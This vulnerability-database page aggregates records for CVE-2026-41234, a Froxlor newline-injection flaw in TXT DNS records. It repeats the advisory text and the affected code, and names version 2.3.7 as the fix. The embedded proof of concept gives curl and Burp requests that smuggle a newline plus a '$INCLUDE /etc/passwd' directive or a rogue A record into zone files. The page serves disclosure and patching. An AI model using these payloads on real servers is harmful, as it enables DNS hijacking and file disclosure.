CVE-2026-41234
Froxlor: BIND Zone File Injection via TXT Record Content
Froxlor is open source server administration software. Prior to version 2.3.7, the DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. Version 2.3.7 contains an updated patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.6
Froxlor: BIND Zone File Injection via TXT Record Content
Froxlor is open source server administration software. Prior to version 2.3.7, the DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. Version 2.3.7 contains an updated patch.
- Record
CVE-2026-41234- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-74
- Updated
- 2026-11-02
EUVDEUVD-2026-34313
7.6
Froxlor is open source server administration software. Prior to version 2.3.7, the DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. Version 2.3.7 contains an updated patch.
- Record
EUVD-2026-34313- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-37m5-m4q3-fc6x
7.6
Froxlor: BIND Zone File Injection via TXT Record Content
Summary
The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.
This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.
Affected Code
lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:
} elseif ($type == 'TXT' && !empty($content)) {
// check that TXT content is enclosed in " "
$content = Dns::encloseTXTContent($content);
}
Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.
Line 148 of DomainZones.php still contains:
// TODO regex validate content for invalid characters
The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.
Comparison with CVE-2026-30932 fix
The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:
| Type | Validation Added | Still Vulnerable? |
|------|-----------------|-------------------|
| LOC | Validate::validateDnsLoc() (strict regex) | No |
| RP | Validate::validateDnsRp() (domain validation) | No |
| SSHFP | Validate::validateDnsSshfp() (3-part split) | No |
| TLSA | Validate::validateDnsTlsa() (4-part split) | No |
| TXT | Dns::encloseTXTContent() (quotes only) | Yes |
PoC
Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
- DNS enabled (
system.bind_enable=1,system.dnsenabled=1) - Customer with
dnsenabled=1, domain withisbinddomain=1 - Customer has an API key (or uses the web UI DNS editor with Burp)
Reproduction via API
# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "@",
"content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
"ttl": 18000
}
}' \
https://panel.example.com/api.php
Reproduction via Web UI (Burp)
- Log in as a customer with DNS editing enabled
- Navigate to Resources > Domains > (domain) > DNS Editor
- Add a new record: Type = TXT, Record = @, Content = any
- Intercept the POST request in Burp Suite
- Change the
dns_contentparameter to:v=spf1 +all"%0a$INCLUDE /etc/passwd(%0ais URL-encoded newline) - Forward the request
Result
The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:
$TTL 604800
$ORIGIN testdomain.lab.
@ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ...
@ 18000 IN TXT "v=spf1 +all"
$INCLUDE /etc/passwd"
@ 604800 IN A 100.95.188.127
* 604800 IN A 100.95.188.127
When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.
Variant: Arbitrary DNS record injection
The same technique injects arbitrary A/MX/CNAME records:
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "_spf",
"content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
…
- Record
GHSA-37m5-m4q3-fc6x- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-74
- Updated
- 2026-11-02
NVD
7.6
Froxlor is open source server administration software. Prior to version 2.3.7, the DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. Version 2.3.7 contains an updated patch.
- Record
CVE-2026-41234- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-74
- Updated
- 2026-11-02
OSV
7.6
Froxlor: BIND Zone File Injection via TXT Record Content
Froxlor is open source server administration software. Prior to version 2.3.7, the DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. Version 2.3.7 contains an updated patch.
- Record
CVE-2026-41234- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-74
- Updated
- 2026-11-02
OSVGHSA-37m5-m4q3-fc6x
7.6
Froxlor: BIND Zone File Injection via TXT Record Content
Summary
The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.
This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.
Affected Code
lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:
} elseif ($type == 'TXT' && !empty($content)) {
// check that TXT content is enclosed in " "
$content = Dns::encloseTXTContent($content);
}
Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.
Line 148 of DomainZones.php still contains:
// TODO regex validate content for invalid characters
The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.
Comparison with CVE-2026-30932 fix
The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:
| Type | Validation Added | Still Vulnerable? |
|------|-----------------|-------------------|
| LOC | Validate::validateDnsLoc() (strict regex) | No |
| RP | Validate::validateDnsRp() (domain validation) | No |
| SSHFP | Validate::validateDnsSshfp() (3-part split) | No |
| TLSA | Validate::validateDnsTlsa() (4-part split) | No |
| TXT | Dns::encloseTXTContent() (quotes only) | Yes |
PoC
Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
- DNS enabled (
system.bind_enable=1,system.dnsenabled=1) - Customer with
dnsenabled=1, domain withisbinddomain=1 - Customer has an API key (or uses the web UI DNS editor with Burp)
Reproduction via API
# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "@",
"content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
"ttl": 18000
}
}' \
https://panel.example.com/api.php
Reproduction via Web UI (Burp)
- Log in as a customer with DNS editing enabled
- Navigate to Resources > Domains > (domain) > DNS Editor
- Add a new record: Type = TXT, Record = @, Content = any
- Intercept the POST request in Burp Suite
- Change the
dns_contentparameter to:v=spf1 +all"%0a$INCLUDE /etc/passwd(%0ais URL-encoded newline) - Forward the request
Result
The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:
$TTL 604800
$ORIGIN testdomain.lab.
@ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ...
@ 18000 IN TXT "v=spf1 +all"
$INCLUDE /etc/passwd"
@ 604800 IN A 100.95.188.127
* 604800 IN A 100.95.188.127
When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.
Variant: Arbitrary DNS record injection
The same technique injects arbitrary A/MX/CNAME records:
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "_spf",
"content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
…
- Record
GHSA-37m5-m4q3-fc6x- CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L - Weakness
- CWE-74
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
froxlor/froxlorPackagist |
through 2.3.6 | 2.3.7 |
froxlor/froxlorPackagist |
before 2.3.7, plus listed versions 0.10.00.10.0-rc10.10.0-rc20.10.10.10.10 Show 45 moreShow less0.10.110.10.120.10.130.10.140.10.150.10.160.10.170.10.180.10.190.10.20.10.200.10.210.10.220.10.230.10.23.10.10.240.10.250.10.260.10.270.10.280.10.290.10.29.10.10.30.10.300.10.310.10.320.10.330.10.340.10.34.10.10.350.10.35.10.10.360.10.370.10.380.10.38.10.10.38.20.10.38.30.10.40.10.50.10.60.10.70.10.80.10.92.0.02.0.1 |
2.3.7 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41234 is a high vulnerability (CVSS 7.6) in Froxlor, published June 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in froxlor/froxlor 2.3.7.
References
github.com/froxlor/froxlor/security/advisories/GHSA-37m5-m4q3-fc6x
github.com/advisories/GHSA-x6w6-2xwp-3jh6
github.com/froxlor/froxlor/releases/tag/2.3.7
nvd.nist.gov/vuln/detail/CVE-2026-41234
github.com/advisories/GHSA-37m5-m4q3-fc6x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41234.json
github.com/froxlor/froxlor
Left out here: 58 versions and the rest of 2 source descriptions. The JSON record has them.